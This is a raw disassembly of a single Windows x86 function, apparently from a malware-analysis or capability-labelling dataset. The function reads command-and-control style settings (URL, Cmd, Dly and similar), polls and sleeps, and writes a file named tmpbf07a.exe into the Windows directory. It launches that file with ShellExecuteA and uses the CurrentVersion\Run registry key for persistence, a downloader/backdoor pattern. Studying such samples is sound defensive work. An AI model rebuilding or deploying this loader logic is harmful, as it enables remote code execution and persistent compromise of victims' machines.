Function at 0x40533d
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3b8
push ebx
push esi
push edi
lea ecx, [ebp - 0xf0]
call fcn.00402cef
lea ecx, [ebp - 0x24c]
call fcn.00403cd9
lea ecx, [ebp - 0x114]
call fcn.00401a8a
lea ecx, [ebp - 0x98]
call fcn.00401a8a
lea ecx, [ebp - 0x74]
call fcn.00401a8a
lea ecx, [ebp - 0xa4]
call fcn.00401a8a
lea ecx, [ebp - 0x1c]
call fcn.00401a8a
lea ecx, [ebp - 0x3c]
call fcn.00401a8a
lea ecx, [ebp - 0x80]
call fcn.00401a8a
lea ecx, [ebp - 0x64]
call fcn.00401a8a
lea ecx, [ebp - 0x8c]
call fcn.00401a8a
lea ecx, [ebp - 0xb0]
call fcn.00401a8a
lea ecx, [ebp - 0xc0]
call fcn.00401a8a
mov esi, 0x412630
lea edi, [ebp - 0x124]
movsd dword es:[edi], dword [esi]
mov al, byte [ebp - 1]
xor ebx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x4c], al
mov al, byte [ebp - 1]
mov byte [ebp - 0x30], al
push 0x105
movsd dword es:[edi], dword [esi]
mov al, byte [ebp - 0x124]
push ebx
mov byte [ebp - 0x3b8], al
lea eax, [ebp - 0x3b8]
push eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x68], 4
mov dword [ebp - 0xb4], 0x78
mov dword [ebp - 0x20], 1
call fcn.00407050
add esp, 0xc
lea eax, [ebp - 0x3b8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push ebx
call fcn.004079c0
push eax
call fcn.004077e6
push ecx
lea ecx, [ebp - 0xf0]
mov eax, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.0040323c
lea eax, [ebp - 0xcc]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00404a18
push eax
lea ecx, [ebp - 0xa4]
call fcn.00401de9
lea ecx, [ebp - 0xcc]
call fcn.00401d53
push dword [ebp - 0x44]
push dword [ebp - 0x48]
lea ecx, [ebp - 0x4c]
call fcn.004063a5
push 0x4120c0
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
xor edi, edi
cmp dword [ebp - 0x48], ebx
je 0x405783
mov eax, dword [ebp - 0x44]
push 0xc
sub eax, dword [ebp - 0x48]
pop ecx
cdq
idiv ecx
cmp edi, eax
jae 0x405783
push edi
lea ecx, [ebp - 0x4c]
call fcn.004024de
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401de9
push str.Reg
push 4
pop esi
lea eax, [ebp - 0xcc]
push esi
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0xcc]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405549
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x58]
push esi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x74]
call fcn.00401de9
lea ecx, [ebp - 0x58]
jmp 0x405778
push str.URL
push esi
lea eax, [ebp - 0x13c]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x13c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x4055a7
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x16c]
push esi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0xa4]
call fcn.00401de9
lea ecx, [ebp - 0x16c]
jmp 0x405778
push str.Cmd
push esi
lea eax, [ebp - 0x130]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x130]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405605
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x160]
push esi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x224]
call fcn.00401de9
lea ecx, [ebp - 0x160]
jmp 0x405778
push str.Stg
push esi
lea eax, [ebp - 0x178]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x178]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405663
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x190]
push esi
push eax
call fcn.0040215d
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401de9
lea ecx, [ebp - 0x190]
jmp 0x405778
push str.Ver
push esi
lea eax, [ebp - 0x19c]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x19c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x4056c1
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x148]
push esi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407cc7
pop ecx
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x148]
jmp 0x405778
push str.DeF
push esi
lea eax, [ebp - 0x154]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x154]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x40571c
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x184]
push esi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407cc7
pop ecx
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x184]
jmp 0x405778
push str.Dly
push esi
lea eax, [ebp - 0x108]
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040215d
mov ecx, eax
call fcn.0040206f
lea ecx, [ebp - 0x108]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x40577d
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0xfc]
push esi
push eax
call fcn.0040215d
push dword [eax + 8]
call fcn.00407cc7
pop ecx
mov dword [ebp - 0xb4], eax
lea ecx, [ebp - 0xfc]
call fcn.00401d53
inc edi
jmp 0x4054c2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.004063a5
mov esi, 0x4124d8
lea ecx, [ebp - 0x58]
push esi
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
push ebx
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401de9
push 1
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0xb0]
call fcn.00401de9
push 2
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401de9
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0xf0]
push eax
call fcn.00401de9
lea eax, [ebp - 0x8c]
lea ecx, [ebp - 0x1c0]
push eax
call fcn.00401de9
lea eax, [ebp - 0xb0]
lea ecx, [ebp - 0xe4]
push eax
call fcn.00401de9
lea eax, [ebp - 0xb0]
lea ecx, [ebp - 0x1b4]
push eax
call fcn.00401de9
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0xd8]
push eax
call fcn.00401de9
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0x1a8]
push eax
call fcn.00401de9
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.004063a5
push esi
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0x224]
cmp dword [ebp - 0x2c], ebx
je 0x4058d3
mov eax, dword [ebp - 0x28]
push 0xc
sub eax, dword [ebp - 0x2c]
pop ecx
cdq
idiv ecx
cmp dword [ebp - 0x10], eax
jae 0x4058d3
push dword [ebp - 0x10]
lea ecx, [ebp - 0x30]
call fcn.004024de
push eax
mov ecx, edi
call fcn.00401de9
inc dword [ebp - 0x10]
add edi, 0xc
jmp 0x4058a2
push dword [ebp - 0x28]
lea ecx, [ebp - 0x30]
push dword [ebp - 0x2c]
call fcn.004063a5
push esi
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
mov edi, 0x413340
lea ecx, [ebp - 0x74]
push edi
call fcn.00401d74
push edi
lea ecx, [ebp - 0x98]
call fcn.00401d74
xor esi, esi
cmp dword [ebp - 0x2c], ebx
je 0x40599d
mov eax, dword [ebp - 0x28]
push 0xc
sub eax, dword [ebp - 0x2c]
pop ecx
cdq
idiv ecx
cmp esi, eax
jae 0x40599d
lea eax, [ebp - 0xfc]
push 0x4124d8
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.004024de
mov ecx, eax
call fcn.00401fbd
push eax
lea ecx, [ebp - 0x98]
call fcn.00401e50
lea ecx, [ebp - 0xfc]
call fcn.00401d53
lea eax, [ebp - 0x108]
push 0x4124d8
push eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x30]
call fcn.004024de
mov ecx, eax
call fcn.00401fbd
push eax
lea ecx, [ebp - 0x74]
call fcn.00401e50
lea ecx, [ebp - 0x108]
call fcn.00401d53
inc esi
inc esi
jmp 0x40591e
mov eax, dword [ebp - 0x94]
push 1
dec eax
lea ecx, [ebp - 0x98]
push eax
call fcn.00402253
mov eax, dword [ebp - 0x70]
push 1
dec eax
lea ecx, [ebp - 0x74]
push eax
call fcn.00402253
sub esp, 0xc
lea eax, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x74]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0xf0]
call fcn.004033ec
dec eax
je 0x40627e
dec eax
jne 0x406301
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x3c
cmp eax, ebx
jle 0x405a19
mov esi, eax
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
dec esi
jne 0x405a0b
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jg 0x405a30
lea ecx, [ebp - 0x24c]
call fcn.00404ab4
test al, al
jne 0x405a4d
mov esi, 0xb4
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp - 0x20], ebx
jle 0x405a48
dec dword [ebp - 0x20]
dec esi
jne 0x405a35
jmp 0x405a1c
mov eax, dword [ebp - 0xb4]
push dword [ebp - 0x44]
imul eax, eax, 0x3c
push dword [ebp - 0x48]
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x20], eax
call fcn.004063a5
push 0x4124d8
lea ecx, [ebp - 0x58]
call fcn.00401c0f
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0xa4]
push eax
call fcn.00402374
lea ecx, [ebp - 0x58]
call fcn.00401d53
sub esp, 0x10
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x10], esp
mov ecx, esp
push eax
call fcn.00403a3e
lea eax, [ebp - 0x2b0]
lea ecx, [ebp - 0xf0]
push eax
call fcn.0040391b
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403adf
lea ecx, [ebp - 0x2b0]
call fcn.00403aac
mov byte [ebp - 9], bl
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x48], ebx
je 0x405a1c
mov eax, dword [ebp - 0x44]
push 0xc
sub eax, dword [ebp - 0x48]
pop ecx
cdq
idiv ecx
cmp dword [ebp - 0x10], eax
jae 0x405a1c
cmp byte [ebp - 9], bl
jne 0x405a1c
push ebx
lea ecx, [ebp - 0x4c]
push dword [ebp - 0x68]
push dword [ebp - 0x10]
call fcn.004024de
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0x24c]
call fcn.00404f1d
test al, al
je 0x4061be
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0xfc]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00404a18
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0xfc]
call fcn.00401d53
push edi
lea ecx, [ebp - 0x80]
call fcn.004020d2
test al, al
je 0x4061be
sub esp, 0xc
lea eax, [ebp - 0x80]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x108]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00403e29
push eax
lea ecx, [ebp - 0x3c]
call fcn.00401de9
lea ecx, [ebp - 0x108]
call fcn.00401d53
sub esp, 0xc
lea eax, [ebp - 0x80]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x184]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040466e
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0x184]
call fcn.00401d53
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0x24c]
call fcn.00404021
dec eax
je 0x40626e
dec eax
je 0x40600a
dec eax
je 0x405f50
dec eax
je 0x405e21
dec eax
je 0x405d60
dec eax
je 0x405ccc
dec eax
jne 0x405b5d
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x154]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x154]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b5d
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.0040481f
sub esp, 0xc
lea eax, [ebp - 0xc0]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x8c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea ecx, [ebp - 0xf0]
call fcn.00403149
jmp 0x4061b5
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x148]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x148]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b5d
push 1
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x19c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
push dword [eax + 8]
call fcn.00407cc7
pop ecx
mov esi, eax
lea ecx, [ebp - 0x19c]
imul esi, esi, 0x3c
call fcn.00401d53
imul esi, esi, 0x3e8
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4061b5
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x190]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x190]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b5d
push ebx
lea eax, [ebp - 0x3c]
push dword [ebp - 0x68]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.0040481f
lea ecx, [ebp - 0x24c]
call fcn.00404f1d
test al, al
je 0x405b5d
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x178]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00404a18
push eax
lea ecx, [ebp - 0x80]
call fcn.00401de9
lea ecx, [ebp - 0x178]
call fcn.00401d53
jmp 0x4061b5
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x130]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.004020d2
test al, al
je 0x405e96
push edi
push 2
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x160]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x160]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
mov byte [ebp - 1], 1
jne 0x405e99
mov byte [ebp - 1], bl
lea ecx, [ebp - 0x130]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b5d
push dword [ebp - 0x68]
lea ecx, [ebp - 0xcc]
call fcn.00401b9c
lea eax, [ebp - 0xcc]
push eax
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x16c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.00402124
lea ecx, [ebp - 0x16c]
mov byte [ebp - 1], al
call fcn.00401d53
lea ecx, [ebp - 0xcc]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b5d
push ebx
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 2
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.0040481f
lea ecx, [ebp - 0x24c]
call fcn.00405162
test al, al
jne 0x4061c6
jmp 0x405b5d
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x13c]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x13c]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b5d
lea eax, [ebp - 0x3b8]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push 1
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x288]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
push eax
lea eax, [ebp - 0x2a0]
push str._t_n_r
push eax
call fcn.0040228d
add esp, 0xc
lea ecx, [ebp - 0x64]
push eax
call fcn.00401e50
lea ecx, [ebp - 0x2a0]
call fcn.00401d53
lea ecx, [ebp - 0x288]
call fcn.00401d53
push dword [ebp - 0x5c]
call fcn.00407c12
pop ecx
jmp 0x4061b5
push edi
push 1
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x264]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.004020d2
test al, al
je 0x40607f
push edi
push 2
sub esp, 0xc
lea eax, [ebp - 0x3c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x294]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
mov ecx, eax
call fcn.004020d2
lea ecx, [ebp - 0x294]
mov byte [ebp - 1], al
call fcn.00401d53
cmp byte [ebp - 1], bl
mov byte [ebp - 1], 1
jne 0x406082
mov byte [ebp - 1], bl
lea ecx, [ebp - 0x264]
call fcn.00401d53
cmp byte [ebp - 1], bl
je 0x405b5d
push ebx
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
push 1
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0x24c]
call fcn.0040481f
lea ecx, [ebp - 0x24c]
call fcn.00405162
test al, al
je 0x405b5d
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x258]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00404a18
push eax
lea ecx, [ebp - 0x230]
call fcn.00401de9
lea ecx, [ebp - 0x258]
call fcn.00401d53
lea eax, [ebp - 0x3b8]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push 2
lea eax, [ebp - 0x3c]
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x270]
lea ecx, [ebp - 0x24c]
push eax
call fcn.0040481f
push eax
lea eax, [ebp - 0x27c]
push str._t_n_r
push eax
call fcn.0040228d
add esp, 0xc
lea ecx, [ebp - 0x64]
push eax
call fcn.00401e50
lea ecx, [ebp - 0x27c]
call fcn.00401d53
lea ecx, [ebp - 0x270]
call fcn.00401d53
push 0x41245c
push dword [ebp - 0x5c]
call fcn.004077d3
mov esi, eax
push esi
push dword [ebp - 0x22c]
push 1
push dword [ebp - 0x228]
call fcn.004076a9
push esi
call fcn.00407653
add esp, 0x1c
push 5
push ebx
push ebx
push dword [ebp - 0x5c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 9], 1
jmp 0x405b5d
inc dword [ebp - 0x10]
jmp 0x405acc
sub esp, 0xc
lea eax, [ebp - 0x230]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0x24c]
push eax
call fcn.00404a18
push eax
lea ecx, [ebp - 0x230]
call fcn.00401de9
lea ecx, [ebp - 0x120]
call fcn.00401d53
lea eax, [ebp - 0x3b8]
lea ecx, [ebp - 0x64]
push eax
call fcn.00401d74
push str._tmpbf07a.exe
lea ecx, [ebp - 0x64]
call fcn.00401e8c
push 0x41245c
push dword [ebp - 0x5c]
call fcn.004077d3
mov esi, eax
push esi
push dword [ebp - 0x22c]
push 1
push dword [ebp - 0x228]
call fcn.004076a9
push esi
call fcn.00407653
add esp, 0x1c
lea ecx, [ebp - 0xf0]
call fcn.0040330e
push 5
push ebx
push ebx
push dword [ebp - 0x5c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x406301
lea ecx, [ebp - 0xf0]
call fcn.0040330e
jmp 0x406301
push 5
push ebx
push ebx
lea eax, [ebp - 0xb0]
sub esp, 0xc
mov esi, esp
mov dword [ebp - 8], esp
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
sub esp, 0xc
lea eax, [ebp - 0x8c]
mov ecx, esp
mov dword [ebp - 8], esp
push eax
call fcn.00401c73
push esi
lea ecx, [ebp - 0xf0]
call fcn.00403061
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 8], esp
push str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.00401c0f
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0xf0]
push eax
call fcn.00403061
mov ecx, eax
call fcn.004063fb
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x120]
call fcn.00401d53
lea ecx, [ebp - 0xf0]
call fcn.00402d70
lea ecx, [ebp - 0x30]
call fcn.00403aac
lea ecx, [ebp - 0x4c]
call fcn.00403aac
lea ecx, [ebp - 0xc0]
call fcn.00401d53
lea ecx, [ebp - 0xb0]
call fcn.00401d53
lea ecx, [ebp - 0x8c]
call fcn.00401d53
lea ecx, [ebp - 0x64]
call fcn.00401d53
lea ecx, [ebp - 0x80]
call fcn.00401d53
lea ecx, [ebp - 0x3c]
call fcn.00401d53
lea ecx, [ebp - 0x1c]
call fcn.00401d53
lea ecx, [ebp - 0xa4]
call fcn.00401d53
lea ecx, [ebp - 0x74]
call fcn.00401d53
lea ecx, [ebp - 0x98]
call fcn.00401d53
lea ecx, [ebp - 0x114]
call fcn.00401d53
lea ecx, [ebp - 0x24c]
call fcn.00403d6c
lea ecx, [ebp - 0xf0]
call fcn.00402d2c
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10